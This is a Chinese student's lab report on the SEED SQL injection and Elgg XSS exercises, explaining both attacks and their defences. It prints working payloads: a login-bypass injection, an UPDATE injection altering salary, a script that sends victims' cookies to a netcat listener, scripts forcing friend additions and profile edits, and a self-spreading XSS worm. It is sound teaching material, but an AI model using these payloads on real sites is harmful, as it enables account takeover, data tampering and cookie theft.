第十次作业 Web应用程序安全攻防

20212806 2021-2022-2 《网络攻防实践》实践十报告

1.实践内容

1.1什么是SQL注入

       SQL注入,一般指web应用程序对用户输入数据的合法性没有校验或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。 总的来说就是,攻击者通过系统正常的输入数据的功能,输入恶意数据,而系统又未作任何的校验,直接信任了用户输入,使得恶意输入改变原本的SQL逻辑或者执行了额外的SQL脚本,从而造成了SQL注入攻击。

1.2 SQL注入攻击防范方法有哪些

       SQL注入攻击的危害很大,而且防火墙很难对攻击行为进行拦截,主要的SQL注入攻击防范方法,具体有以下几个方面:

  • 分级管理。对用户进行分级管理,严格控制用户的权限,对于普通用户,禁止给予数据库建立、删除、修改等相关权限,只有系统管理员才具有增、删、改、查的权限。
  • 参数传值。程序员在书写SQL语言时,禁止将变量直接写入到SQL语句,必须通过设置相应的参数来传递相关的变量。从而抑制SQL注入。数据输入不能直接嵌入到查询语句中。同时要过滤输入的内容,过滤掉不安全的输入数据。或者采用参数传值的方式传递输入变量,这样可以最大程度防范SQL注入攻击。
  • 基础过滤与二次过滤。SQL注入攻击前,入侵者通过修改参数提交and等特殊字符,判断是否存在漏洞,然后通过select、update等各种字符编写SQL注入语句。因此防范SQL注入要对用户输入进行检查,确保数据输入的安全性,在具体检查输入或提交的变量时,对于单引号、双引号、冒号等字符进行转换或者过滤,从而有效防止SQL注入。当然危险字符有很多,在获取用户输入提交参数时,首先要进行基础过滤,然后根据程序的功能及用户输入的可能性进行二次过滤,以确保系统的安全性。
  • 使用安全参数。SQL数据库为了有效抑制SQL注入攻击的影响。在进行SQLServer数据库设计时设置了专门的SQL安全参数。在程序编写时应尽量使用安全参数来杜绝注入式攻击,从而确保系统的安全性。
  • 漏洞扫描。为了更有效地防范SQL注入攻击,作为系统管理除了设置有效的防范措施,更应该及时发现系统存在SQL攻击安全漏洞。系统管理员可以采购一些SQL漏洞扫描工具,通过专业的扫描工具,可以及时的扫描到系统存在的相应漏洞。
  • 多层验证。现在的网站系统功能越来越庞大复杂。为确保系统的安全,访问者的数据输入必须经过严格的验证才能进入系统,验证没通过的输入直接被拒绝访问数据库,并且向上层系统发出错误提示信息。同时在客户端访问程序中验证访问者的相关输入信息,从而更有效的防止简单的SQL注入。但是如果多层验证中的下层如果验证数据通过,那么绕过客户端的攻击者就能够随意访问系统。因此在进行多层验证时,要每个层次相互配合,只有在客户端和系统端都进行有效的验证防护,才能更好地防范SQL注入攻击。
  • 数据库信息加密。传统的加解密方法大致分为三种:对称加密、非对称加密、不可逆加密。

1.3 什么是XSS攻击

       XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

1.4 XSS防御

  • 基于特征的防御。XSS漏洞和著名的SQL注入漏洞一样,都是利用了Web页面的编写不完善,所以每一个漏洞所利用和针对的弱点都不尽相同,这就是给XSS漏洞防御带来的困难,不可能以单一特征来概括所有XSS攻击。传统的XSS防御在进行攻击鉴别时多采用特征匹配方式,主要是针对JavaScript这个关键词进行检索,但是这种鉴别不够灵活,凡是提交的信息中各有JavaScript时,就被硬性的判定为XSS攻击。
  • 基于代码修改的防御。Web页面开发者在编写程序时往往会出现一些失误或漏洞,XSS攻击正是利用了失误和漏洞,因此一种比较理想的方法就是通过优化Web应用开发来减少漏洞,避免被攻击:
    ①用户向服务器上提交的信息要对URL和附带的HTTP头、POST数据等进行查询,对不是规定格式、长度的内容进行过滤。
    ②实现Session标记、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
    ③确认接收的内容被妥善的规范化,仅包含最小的、安全的Tag,去掉任何对远程内容的引用,使用HTTP only的cookie。
  • 客户端分层防御策略。客户端跨站脚本攻击的分层防御策略是基于独立分配线程和分层防御策略的安全模型。它建立在客户端,这是它与其他模型最大的区别。之所以客户端安全性如此重要,客户端在接受服务器信息,选择性的执行相关内容。这样就可以使防御XSS攻击变得容易,该模型主要由三大部分组成:
    ①对每一个网页分配独立线程且分析资源消耗的网页线程分析模块;
    ②包含分层防御策略四个规则的用户输入分析模块;
    ③保存互联网上有关XSS恶意网站信息的XSS信息数据库。

2.实践过程

2.1 SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

  • 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
  • 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
  • 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
  • SQL对抗:修复上述SQL注入攻击漏洞。

熟悉 SQL 语句
首先使用命令mysql -u root -p登录 MySQL 数据库,然后使用系统创建好的 Users 数据库:(注意语句结束符分号),并查看该数据库下所有的表

可以看到该数据库存在一个名为“credential”的表,使用以下查询语句,查看这个表的详细信息

对 SELECT 语句的 SQL 注入攻击
首先使用seedUbuntu访问已经搭建好的Web页面:www.SEEDLabSQLInjection.com

以 SEED 实验环境自带的火狐浏览器为例,使用快捷键ctrl+U查看网页面源码

接下来查看

表单标签下的具体内容:

<form action="unsafe_home.php" method="get">
   <div class="input-group mb-3 text-center">
     <div class="input-group-prepend">
       <span class="input-group-text" id="uname">USERNAME</span>
     </div>
     <input type="text" class="form-control" placeholder="Username" name="username" aria-label="Username" aria-describedby="uname">
   </div>
   <div class="input-group mb-3">
     <div class="input-group-prepend">
       <span class="input-group-text" id="pwd">PASSWORD </span>
     </div>
     <input type="password" class="form-control" placeholder="Password" name="Password" aria-label="Username" aria-describedby="pwd">
   </div>
   <br>
   <button type="submit" class="button btn-success btn-lg btn-block">Login</button>
 </form>

上述代码逻辑为:用户点击提交后,表单将用户输入的信息使用get方法提交至unsafe_home.php页面进行权限校验。
接下来进入在终端输入cd /var/www/SQLInjection/命令进入目录分析一下上述 php 页面

对 UPDATE 语句的 SQL 注入攻击
从以下代码可以看出存在一个Admin用户,并且对应的页面逻辑是不一样的。

 function drawLayout($id,$name,$eid,$salary,$birth,$ssn,$pwd,$nickname,$email,$address,$phoneNumber){
        if($id!=""){
          session_start();
          $_SESSION['id'] = $id;
          $_SESSION['eid'] = $eid;
          $_SESSION['name'] = $name;
          $_SESSION['pwd'] = $pwd;
        }else{
          echo "can not assign session";
        }
        if ($name !="Admin") {
          // If the user is a normal user.
          ...
        }
        else {
          // if user is admin.
          ...
        }
      }

接下来重点观察一下php文件中查询语句:

$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
      FROM credential
      WHERE name= '$input_uname' and Password='$hashed_pwd'";

其中where部分存在可以进行注入攻击的漏洞。当变量$input_uname为Admin' #时,where部分变成了:
WHERE name= 'Admin' #' and Password='$hashed_pwd'
实际上,#后面的语句都被注释掉了,那么where部分就变成:
WHERE name= 'Admin'
这样的话,就可以绕过密码校验,直接进入Admin用户页面。
测试输入用户名为Admin' #,密码为空,登录成功后,如下图所示

在终端输入curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20%23'就可以成功登录,通过返回的数据,可知攻击成功。

下面要修改数据库的内容,修改原理如图所示,我们输入指令update credential set Name = 'HYS', EID = '12345' where ID= 1;表示将ID为1的地方把Name换为HYS,EID改为12345,然后使用select * from credential查看一下发现修改成功。更换相应的参数变量便可修改其他的值。


从Profile Edit页面输入信息去改Boby的信息,利用它的UPDATE去验证漏洞。首先找到update的语句,在unsafe edit backend.php文件中,路径为 /var/www/SQLInjection,发现其中有以下内容:
sql = "UPDATE credential SET nickename='$input_nickname',email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;"

在登陆界面中输入', salary='12345' where Name='Boby';#,更改Boby的薪水为12345

修改成功,如下:

SQL 对抗,修复上述 SQL 注入攻击漏洞
可以使用预处理语句避免上述注入攻击的实现,首先在unsafe_home.php页面中,对SELECT语句进行预处理。
原来的语句内容:

$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
      FROM credential
      WHERE name= '$input_uname' and Password='$hashed_pwd'";

修改后:

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

接着,在unsafe_edit_backend.php页面中,对UPDATE语句进行预处理。
原来的语句:

$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";

修改为:

$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

2.2 XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用 XSS 漏洞做什么,我们在预先构建的 Ubuntu VM 映像中设置了一个名为 Elgg 的 Web 应用程序。在本实验中,学生需要利用此漏洞对经过修改的 Elgg 发起 XSS 攻击,攻击的最终目的是在用户之间传播 XSS 蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

  • 发布恶意消息,显示警报窗口:在您的 Elgg 配置文件中嵌入一个 JavaScript 程序,以便当另一个用户查看您的配置文件时,将执行 JavaScript 程序并显示一个警报窗口。
  • 弹窗显示 cookie 信息:将 cookie 信息显示。
  • 窃取受害者的 cookies:将 cookie 发送给攻击者。
  • 成为受害者的朋友:使用 js 程序加受害者为朋友,无需受害者干预,使用相关的工具了解 Elgg 加好友的过程。
  • 修改受害者的信息:使用 js 程序使得受害者在访问 Alice 的页面时,资料无需干预却被修改。
  • 编写 XSS 蠕虫。
  • 对抗 XSS 攻击。
    发布恶意消息,显示警报窗口
    在fireFox收藏中打开书签XSS Lab Site(www.xsslabelgg.com),用Alice的用户登录,用户名alice,密码seedalice

    在Edit profile编辑个人信息的页面中的Brief description项输入<script>alert('xss');</script>,save后可以看到一个提示信息为XSS的弹窗


    刷新页面,再次弹出上述提示框,这就实现了通过嵌入JS代码,弹出警报窗口的功能。
    弹窗显示 cookie 信息
    类似地,当Brief description项改为<script>alert(document.cookie);</script>,save后可以看到一个包含自己cookie信息的弹窗

    窃取受害者的 cookies
    在个人简介中输入以下信息
<script>
  document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>');
</script>

其中127.0.0.1是接收信息的IP地址,5555是端口号。然后在终端中输入nc -l 5555 -v对5555端口进行监测。-l指定端口,-v显示详细信息,然后保存文本框输入的内容,终端就可以监听到浏览器发送的具体内容了


成为受害者的朋友
假设当前登录用户为 Alice,然后访问用户 Boby 的主页:http://www.xsslabelgg.com/profile/boby
首先使用快捷键ctrl+shift+E打开火狐浏览器开发者模式中的 Network 页面,然后点击左侧的Add friend,添加 Boby 为好友

可以看到此时浏览器发送的POST请求的具体内容:

其中请求的地址是:
http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1589264053&__elgg_token=v-5SQNXrM_NGAKG0TFtXWQ
显然,这里用到了三个参数,friend=、__elgg_ts、__elgg_token,分别是好友、时间、身份认证;而请求的地址是
http://www.xsslabelgg.com/action/friends/add
于是,可以构造下面的JS脚本,用于添加其他好友。

<script type="text/javascript">
window.onload = function () {
    var Ajax = null;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;

  	var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 

	  //发送 Ajax 请求
	  Ajax = new XMLHttpRequest();
	  Ajax.open("GET", sendurl, true);
	  Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
	  Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
	  Ajax.send();
}
</script>

将上面的脚本放在Alice的About me文本框内,注意文本框选择Edit HTML模式,并保存

然后退出 Alice,登录 Boby 访问 Alice 主页:http://www.xsslabelgg.com/profile/alice,返回 Boby 主页,看到已经成功添加 Alice 为好友

构造以下脚本,用于在 Boby 访问 Alice 时,修改 Boby 的个人资料

<script type="text/javascript">
    window.onload = function(){
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;

        var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)
        //FILL IN
        var samyGuid=44;
        //FILL IN
        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
	}
</script>

接下来进行测试,退出Alice,登录Boby,访问Alice,再返回Boby,可以看到:

则攻击成功
编写 XSS 蠕虫
为了实现蠕虫感染,可以将下面这段代码在不同的用户之间感染传播,也将代码放在Alice的About me文本框内,并保存

<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>"; 
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;

        //Construct the content of your url.
        var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)

        var samyGuid=44;

        if(elgg.session.user.guid!=samyGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>

用Boby访问 Alice,然后登录查看Boby,发现Boby被感染

退出登录Boby,使用Samy访问Boby,发现Samy被感染。

通过以上操作实现了蠕虫感染
对抗 XSS 攻击
在用户输入文本逻辑那里,编写禁用JavaScript渲染的功能即可避免此类攻击;也可以使用 Elgg 提供的安全插件 HTMLawed 过滤用户输入的标签。

3.学习中遇到的问题及解决

  • 问题1:在编写JavaScript代码时,出现了很多语法错误
  • 问题1解决方案:通过查看一些书籍和资料,解决了这些问题,并提高了自己的编程能力
  • 问题2:搜集资料找的一些脚本代码过长,想要复制到ubuntu却无法实现
  • 问题2解决方案:安装vmtools即可实现将代码从windows到ubuntu的跨平台迁移。

4.实践总结

本周主要学习了SQL注入和XSS脚本攻击,充分理解了它们的攻击原理以及防御策略,接下来需要进一步加强实践,懂得如何去防御这些攻击所带来的危害。

posted @ 2022-05-20 09:58  20212806胡云深  阅读(170)  评论(0编辑  收藏  举报